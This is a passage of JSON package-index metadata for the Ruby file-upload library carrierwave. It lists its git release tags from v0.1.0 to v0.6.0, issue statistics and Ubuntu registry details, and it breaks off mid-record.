/carrierwaveuploader%2Fcarrierwave/tags/v0.6.0/manifests"},{"name":"v0.5.8","sha":"a0f8810996d43e005972a70b5715f0f7b2f4f132","kind":"tag","published_at":"2011-11-10T21:54:12.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.8","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.8/manifests"},{"name":"v0.5.7","sha":"661990936c3f498b850135c082da1d4f1f919172","kind":"tag","published_at":"2011-08-12T14:33:03.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.7/manifests"},{"name":"v0.5.6","sha":"2b91dc48bf46ad2a89ef0a3a7261f0b292c20d2f","kind":"tag","published_at":"2011-07-12T16:06:16.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.6/manifests"},{"name":"v0.5.5","sha":"0cfca5cf8e85663369dcb019a163e363bc370974","kind":"tag","published_at":"2011-07-09T15:44:58.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.5/manifests"},{"name":"v0.5.4","sha":"0436546b387690229324ff72ee41e64056b9fff3","kind":"tag","published_at":"2011-05-18T20:48:39.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.4/manifests"},{"name":"v0.5.3","sha":"4247285b33897d7b1f528ac8fddbb0e15bb9de97","kind":"tag","published_at":"2011-03-22T11:11:58.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.3/manifests"},{"name":"v0.5.2","sha":"e5ac58d715c4322eb5e37f9bea135f35009f68b0","kind":"tag","published_at":"2011-02-18T11:10:25.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"85ddee1014806dd4ccea7d122fe23d14f0adc43e","kind":"commit","published_at":"2010-12-01T00:43:34.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"7157a0ed628808225744b25798ba10841c929bc1","kind":"commit","published_at":"2010-09-23T16:27:37.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0/manifests"},{"name":"v0.4.10","sha":"cb49ee441959e80348ab72acefe4c5fadebc36d5","kind":"commit","published_at":"2010-08-24T07:11:28.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.10","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.10/manifests"},{"name":"v0.4.9","sha":"ad3d8e79cb3872d7700b59fef34f82b4a1b7237a","kind":"commit","published_at":"2010-07-20T22:07:29.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.9","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.9/manifests"},{"name":"v0.5.0.beta2","sha":"1ef11db6bbf06e470511ee51c697494f69fb78c2","kind":"commit","published_at":"2010-07-20T22:06:14.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.0.beta2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.0.beta2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.0.beta2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0.beta2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0.beta2/manifests"},{"name":"v0.4.8","sha":"747d6257cd013e85a82d81e42e68e4e00bc1cb48","kind":"commit","published_at":"2010-07-20T21:58:57.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.8","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"f4db0746c93ad342dd914b6041f61046df0043b7","kind":"commit","published_at":"2010-07-20T21:32:50.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"358820dcc5d7ecf112eedbee9dd0eafc7836fa7b","kind":"commit","published_at":"2010-07-20T21:23:59.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"fabfb7ce3589db54c704e52a8fb8bbde68edb19f","kind":"commit","published_at":"2010-02-20T02:42:41.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"bdfffeb503acc8e70e7d74d3c3edda3430a06fb9","kind":"commit","published_at":"2010-01-30T23:08:37.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"e126877752b69c1c889a9bffacab2c2b833936ba","kind":"commit","published_at":"2009-12-19T12:16:08.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"ebade2658489e83063e55cf274cbef4a3c1a14d5","kind":"commit","published_at":"2009-11-26T22:09:12.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"7fba86e1224e261ee4c7a9ef3da117044fe9b6db","kind":"commit","published_at":"2009-10-26T07:51:24.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"4afbf484b15e098df717d0a5413e36a519f40a52","kind":"commit","published_at":"2009-10-12T17:29:43.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.0/manifests"},{"name":"v0.3.5.2","sha":"20844902de685236c3a01a781ba6fe842b0eacbb","kind":"commit","published_at":"2009-10-12T15:09:39.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.2/manifests"},{"name":"v0.3.5.1","sha":"5be22ae387e20cd66a06498c57cc57a2bd56e9a0","kind":"commit","published_at":"2009-09-17T11:53:26.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.1/manifests"},{"name":"v0.3.5","sha":"420ec38befa1f3e1aaa87c8c52d33f0a70a10392","kind":"commit","published_at":"2009-09-01T21:00:13.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"d58f0bc78c69de2f031bbf6c00516f7cbc7144fd","kind":"commit","published_at":"2009-08-30T22:00:24.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"2c1e4e7aaf9aa9da354c8ee7a7f8410f4fbab009","kind":"commit","published_at":"2009-08-29T06:13:10.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"2e85f5fb3a3c3dc26237912d06d894d39a83d607","kind":"commit","published_at":"2009-07-18T13:14:54.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"35bd130d6282ef2809c5180df17edf20b8fbe98f","kind":"commit","published_at":"2009-07-01T10:54:19.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"310cb0e90dede5581c8933e52e9e6d20fc82b99a","kind":"commit","published_at":"2009-06-20T13:54:43.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.0/manifests"},{"name":"v0.2.4","sha":"b500125c00689bcac0472200c09e74da4587c077","kind":"commit","published_at":"2009-06-11T07:23:05.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.4/manifests"},{"name":"v0.2.3","sha":"66499a6c8f5ac16c6d97c770d97039c1075dd524","kind":"commit","published_at":"2009-05-13T13:26:46.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.3/manifests"},{"name":"v0.2.1","sha":"c83731eaf2ae8b18dc9a49da8f805e71153d7a22","kind":"commit","published_at":"2009-05-01T12:57:02.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.1/manifests"},{"name":"v0.2.0","sha":"f83d8d5e1b1908ef5d0f6f85184595992caae081","kind":"commit","published_at":"2009-04-15T19:56:32.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.0/manifests"},{"name":"v0.1.0","sha":"f57eaea2bd09380e1eb320b03e2040cfd10898f9","kind":"commit","published_at":"2009-03-12T21:01:34.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.1.0/manifests"}]},"repo_metadata_updated_at":"2026-08-07T04:18:20.596Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/ruby-carrierwave?arch=source\u0026distro=ubuntu-22.04\u0026repository_url=https://launchpad.net/ubuntu/jammy","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/ruby-carrierwave","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/ruby-carrierwave","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/ruby-carrierwave/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-06T21:18:14.645Z","issues_count":182,"pull_requests_count":125,"avg_time_to_close_issue":81578355.10563381,"avg_time_to_close_pull_request":5115634.638095238,"issues_closed_count":142,"pull_requests_closed_count":105,"pull_request_authors_count":65,"issue_authors_count":163,"avg_comments_per_issue":2.456043956043956,"avg_comments_per_pull_request":1.648,"merged_pull_requests_count":70,"bot_issues_count":0,"bot_pull_requests_count":4,"past_year_issues_count":12,"past_year_pull_requests_count":23,"past_year_avg_time_to_close_issue":5608133.0,"past_year_avg_time_to_close_pull_request":3071969.3,"past_year_issues_closed_count":2,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":17,"past_year_issue_authors_count":12,"past_year_avg_comments_per_issue":0.8333333333333334,"past_year_avg_comments_per_pull_request":0.7391304347826086,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":3,"past_year_merged_pull_requests_count":5,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/issues","maintainers":[{"login":"mshibuya","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mshibuya"},{"login":"plribeiro3000","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/plribeiro3000"}],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/ruby-carrierwave/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/ruby-carrierwave/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/ruby-carrierwave/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/ruby-carrierwave/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/ruby-carrierwave/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/ruby-carrierwave/codemeta","maintainers":[],"registry":{"name":"ubuntu-22.04","url":"https://launchpad.net/ubuntu/jammy","ecosystem":"ubuntu","default":false,"packages_count":34289,"maintainers_count":0,"namespaces_count":4,"keywords_count":1498,"github":"ubuntu","metadata":{"codename":"jammy","funded_packages_count":821},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:46.486Z","updated_at":"2026-08-17T05:05:34.510Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/namespaces"}},{"id":13466452,"name":"ruby-carrierwave","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/carrierwaveuploader/carrierwave","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/carrierwaveuploader/carrierwave","keywords_array":["universe/misc"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-09T16:17:57.757Z","latest_release_published_at":"2026-02-09T16:17:57.757Z","latest_release_number":"3.0.7-1","last_synced_at":"2026-03-09T17:03:46.114Z","created_at":"2026-02-09T16:17:56.169Z","updated_at":"2026-08-07T04:18:20.596Z","registry_url":"https://launchpad.net/ubuntu/+source/ruby-carrierwave","install_command":"apt-get install ruby-carrierwave","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"optional","binary":"ruby-carrierwave","standards_version":"4.7.0","maintainer":"Debian Ruby Team \u003cpkg-ruby-extras-maintainers@lists.alioth.debian.org\u003e","build_depends":"cucumber, debhelper-compat (= 12), gem2deb, libsqlite3-dev, pry, rails, rake, ruby-activemodel, ruby-activerecord, ruby-activesupport, ruby-addressable (\u003e= 2.6~), ruby-fog-aws, ruby-fog-google, ruby-fog-local, ruby-fog-rackspace, ruby-generator-spec, ruby-image-processing (\u003e= 1.1~), ruby-marcel (\u003e= 1.0~), ruby-mini-magick, ruby-mini-mime, ruby-pg, ruby-rmagick, ruby-rspec, ruby-ssrf-filter (\u003e= 1.0~), ruby-timecop, ruby-webmock","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{"id":426955,"uuid":"47087","full_name":"carrierwaveuploader/carrierwave","owner":"carrierwaveuploader","description":"Classier solution for file uploads for Rails, Sinatra and other Ruby web 